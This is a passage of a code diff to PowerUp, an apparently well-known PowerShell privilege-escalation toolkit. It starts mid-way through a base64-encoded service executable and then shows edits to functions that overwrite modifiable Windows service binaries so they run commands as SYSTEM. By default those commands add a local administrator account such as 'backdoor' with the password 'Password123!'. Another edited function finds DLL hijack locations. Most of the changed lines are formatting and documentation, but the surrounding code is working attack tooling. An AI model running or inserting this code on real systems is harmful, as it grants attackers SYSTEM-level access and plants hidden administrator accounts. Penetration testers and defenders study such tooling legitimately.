CAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAA9jAG0AZAAuAGUAeABlAABwlQEkfW6TS5S/gwmLKZ5MAAiwP19/EdUKOgi3elxWGTTgiQMGEg0EIAEBAgMgAAEFIAEBHQ4DAAABBCABAQ4FIAEBEUkEIAEBCAMgAA4GAAISYQ4OBAABAQgDBwEOBgABAR0SBQgHAh0SBR0SBQwBAAdVcGRhdGVyAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE1AAApAQAkN2NhMWIzMmEtOWMzNy00MTViLWJkOWYtZGRmNDE5OWUxNmVjAAAMAQAHMS4wLjAuMAAAZQEAKS5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC4wLFByb2ZpbGU9Q2xpZW50AQBUD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" [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary) - if($PSBoundParameters['Command']) { + if ($PSBoundParameters['Command']) { $ServiceCommand = $Command } else { - if($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Credential']) { $UserNameToAdd = $Credential.UserName $PasswordToAdd = $Credential.GetNetworkCredential().Password } @@ -1995,7 +2480,7 @@ function Write-ServiceBinary { $PasswordToAdd = $Password } - if($UserNameToAdd.Contains('\')) { + if ($UserNameToAdd.Contains('\')) { # only adding a domain user to the local group, no user creation $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add" } @@ -2031,6 +2516,7 @@ function Write-ServiceBinary { $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name $Out | Add-Member Noteproperty 'Path' $Path $Out | Add-Member Noteproperty 'Command' $ServiceCommand + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary') $Out } } @@ -2038,87 +2524,97 @@ function Write-ServiceBinary { function Install-ServiceBinary { <# - .SYNOPSIS +.SYNOPSIS + +Replaces the service binary for the specified service with one that executes +a specified command as SYSTEM. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary - Replaces the service binary for the specified service with one that executes - a specified command as SYSTEM. +.DESCRIPTION - Author: @harmj0y - License: BSD 3-Clause +Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the +current user can modify the associated service binary listed in the binPath. Backs up +the original service binary to "OriginalService.exe.bak" in service binary location, +and then uses Write-ServiceBinary to create a C# service binary that either adds +a local administrator user or executes a custom command. The new service binary is +replaced in the original service binary path, and a custom object is returned that +captures the original and new service binary configuration. - .DESCRIPTION +.PARAMETER Name - Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the - current user can modify the associated service binary listed in the binPath. Backs up - the original service binary to "OriginalService.exe.bak" in service binary location, - and then uses Write-ServiceBinary to create a C# service binary that either adds - a local administrator user or executes a custom command. The new service binary is - replaced in the original service binary path, and a custom object is returned that - captures the original and new service binary configuration. +The service name the EXE will be running under. - .PARAMETER Name +.PARAMETER UserName - The service name the EXE will be running under. +The [domain\]username to add. If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. - .PARAMETER UserName +.PARAMETER Password - The [domain\]username to add. If not given, it defaults to "john". - Domain users are not created, only added to the specified localgroup. +The password to set for the added user. If not given, it defaults to "Password123!" - .PARAMETER Password +.PARAMETER LocalGroup - The password to set for the added user. If not given, it defaults to "Password123!" +Local group name to add the user to (default of 'Administrators'). - .PARAMETER LocalGroup +.PARAMETER Credential - Local group name to add the user to (default of 'Administrators'). +A [Management.Automation.PSCredential] object specifying the user/password to add. - .PARAMETER Credential +.PARAMETER Command - A [Management.Automation.PSCredential] object specifying the user/password to add. +Custom command to execute instead of user creation. - .PARAMETER Command +.EXAMPLE - Custom command to execute instead of user creation. +Install-ServiceBinary -Name VulnSVC - .EXAMPLE +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). - PS C:\> Install-ServiceBinary -Name VulnSVC +.EXAMPLE - Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary - for VulnSVC with one that adds a local Administrator (john/Password123!). +Get-Service VulnSVC | Install-ServiceBinary - .EXAMPLE +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). - PS C:\> Get-Service VulnSVC | Install-ServiceBinary +.EXAMPLE - Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary - for VulnSVC with one that adds a local Administrator (john/Password123!). +Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' - .EXAMPLE +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds TESTLAB\john to the Administrators local group. - PS C:\> Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' +.EXAMPLE - Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary - for VulnSVC with one that adds TESTLAB\john to the Administrators local group. +Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! - .EXAMPLE +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (backdoor/Password123!). - PS C:\> Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! +.EXAMPLE - Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary - for VulnSVC with one that adds a local Administrator (backdoor/Password123!). +Install-ServiceBinary -Name VulnSVC -Command "net ..." - .EXAMPLE +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that executes a custom command. - PS C:\> Install-ServiceBinary -Name VulnSVC -Command "net ..." +.OUTPUTS - Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary - for VulnSVC with one that executes a custom command. +PowerUp.ServiceBinary.Installed #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerUp.ServiceBinary.Installed')] + [CmdletBinding()] Param( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] @@ -2134,7 +2630,8 @@ function Install-ServiceBinary { $LocalGroup = 'Administrators', [Management.Automation.PSCredential] - $Credential, + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, [String] [ValidateNotNullOrEmpty()] @@ -2142,11 +2639,11 @@ function Install-ServiceBinary { ) BEGIN { - if($PSBoundParameters['Command']) { + if ($PSBoundParameters['Command']) { $ServiceCommand = $Command } else { - if($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Credential']) { $UserNameToAdd = $Credential.UserName $PasswordToAdd = $Credential.GetNetworkCredential().Password } @@ -2155,7 +2652,7 @@ function Install-ServiceBinary { $PasswordToAdd = $Password } - if($UserNameToAdd.Contains('\')) { + if ($UserNameToAdd.Contains('\')) { # only adding a domain user to the local group, no user creation $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add" } @@ -2167,14 +2664,11 @@ function Install-ServiceBinary { } PROCESS { - - $TargetService = Get-Service -Name $Name - + $TargetService = Get-Service -Name $Name -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths - - if(-not $ModifiableFiles) { + if (-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } @@ -2192,6 +2686,7 @@ function Install-ServiceBinary { $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath $Result | Add-Member Noteproperty 'BackupPath' $BackupPath + $Result.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Installed') $Result } } @@ -2199,46 +2694,57 @@ function Install-ServiceBinary { function Restore-ServiceBinary { <# - .SYNOPSIS +.SYNOPSIS - Restores a service binary backed up by Install-ServiceBinary. +Restores a service binary backed up by Install-ServiceBinary. - .DESCRIPTION +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath - Takes a service Name or a ServiceProcess.ServiceController on the pipeline and - checks for the existence of an "OriginalServiceBinary.exe.bak" in the service - binary location. If it exists, the backup binary is restored to the original - binary path. +.DESCRIPTION + +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and +checks for the existence of an "OriginalServiceBinary.exe.bak" in the service +binary location. If it exists, the backup binary is restored to the original +binary path. - .PARAMETER Name +.PARAMETER Name - The service name to restore a binary for. +The service name to restore a binary for. - .PARAMETER BackupPath +.PARAMETER BackupPath - Optional manual path to the backup binary. +Optional manual path to the backup binary. - .EXAMPLE +.EXAMPLE - PS C:\> Restore-ServiceBinary -Name VulnSVC +Restore-ServiceBinary -Name VulnSVC - Restore the original binary for the service 'VulnSVC'. +Restore the original binary for the service 'VulnSVC'. - .EXAMPLE +.EXAMPLE - PS C:\> Get-Service VulnSVC | Restore-ServiceBinary +Get-Service VulnSVC | Restore-ServiceBinary + +Restore the original binary for the service 'VulnSVC'. + +.EXAMPLE - Restore the original binary for the service 'VulnSVC'. +Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' - .EXAMPLE +Restore the original binary for the service 'VulnSVC' from a custom location. - PS C:\> Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' +.OUTPUTS - Restore the original binary for the service 'VulnSVC' from a custom location. +PowerUp.ServiceBinary.Installed #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ServiceBinary.Restored')] + [CmdletBinding()] Param( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] @@ -2251,14 +2757,11 @@ function Restore-ServiceBinary { ) PROCESS { - - $TargetService = Get-Service -Name $Name - + $TargetService = Get-Service -Name $Name -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths - - if(-not $ModifiableFiles) { + if (-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } @@ -2272,6 +2775,7 @@ function Restore-ServiceBinary { $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name $Out | Add-Member Noteproperty 'ServicePath' $ServicePath $Out | Add-Member Noteproperty 'BackupPath' $BackupPath + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Restored') $Out } } @@ -2285,70 +2789,77 @@ function Restore-ServiceBinary { function Find-ProcessDLLHijack { <# - .SYNOPSIS +.SYNOPSIS - Finds all DLL hijack locations for currently running processes. +Finds all DLL hijack locations for currently running processes. - Author: @harmj0y - License: BSD 3-Clause +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - .DESCRIPTION +.DESCRIPTION - Enumerates all currently running processes with Get-Process (or accepts an - input process object from Get-Process) and enumerates the loaded modules for each. - All loaded module name exists outside of the process binary base path, as those - are DLL load-order hijack candidates. +Enumerates all currently running processes with Get-Process (or accepts an +input process object from Get-Process) and enumerates the loaded modules for each. +All loaded module name exists outside of the process binary base path, as those +are DLL load-order hijack candidates. - .PARAMETER Name +.PARAMETER Name - The name of a process to enumerate for possible DLL path hijack opportunities. +The name of a process to enumerate for possible DLL path hijack opportunities. - .PARAMETER ExcludeWindows +.PARAMETER ExcludeWindows - Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* +Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* - .PARAMETER ExcludeProgramFiles +.PARAMETER ExcludeProgramFiles - Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* +Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* - .PARAMETER ExcludeOwned +.PARAMETER ExcludeOwned - Exclude processes the current user owns. +Exclude processes the current user owns. - .EXAMPLE +.EXAMPLE - PS C:\> Find-ProcessDLLHijack +Find-ProcessDLLHijack - Finds possible hijackable DLL locations for all processes. +Finds possible hijackable DLL locations for all processes. - .EXAMPLE +.EXAMPLE - PS C:\> Get-Process VulnProcess | Find-ProcessDLLHijack +Get-Process VulnProcess | Find-ProcessDLLHijack - Finds possible hijackable DLL locations for the 'VulnProcess' processes. +Finds possible hijackable DLL locations for the 'VulnProcess' processes. - .EXAMPLE +.EXAMPLE - PS C:\> Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles +Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles - Finds possible hijackable DLL locations not in C:\Windows\* and - not in C:\Program Files\* or C:\Program Files (x86)\* +Finds possible hijackable DLL locations not in C:\Windows\* and +not in C:\Program Files\* or C:\Program Files (x86)\* - .EXAMPLE +.EXAMPLE - PS C:\> Find-ProcessDLLHijack -ExcludeOwned +Find-ProcessDLLHijack -ExcludeOwned - Finds possible hijackable DLL location for processes not owned by the - current user. +Finds possible hijackable DLL location for processes not owned by the +current user. - .LINK +.OUTPUTS + +PowerUp.HijackableDLL.Process - https://www.mandiant.com/blog/malware-persistence-windows-registry/ +.LINK + +https://www.mandiant.com/blog/malware-persistence-windows-registry/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.HijackableDLL.Process')] [CmdletBinding()] Param( - [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ProcessName')] [String[]] $Name = $(Get-Process | Select-Object -Expand Name), @@ -2381,13 +2892,11 @@ function Find-ProcessDLLHijack { $TargetProcess = Get-Process -Name $ProcessName - if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) { + if ($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($Null -ne $TargetProcess.Path)) { try { $BasePath = $TargetProcess.Path | Split-Path -Parent - $LoadedModules = $TargetProcess.Modules - $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] ForEach ($Module in $LoadedModules){ @@ -2399,15 +2908,15 @@ function Find-ProcessDLLHijack { $Exclude = $False - 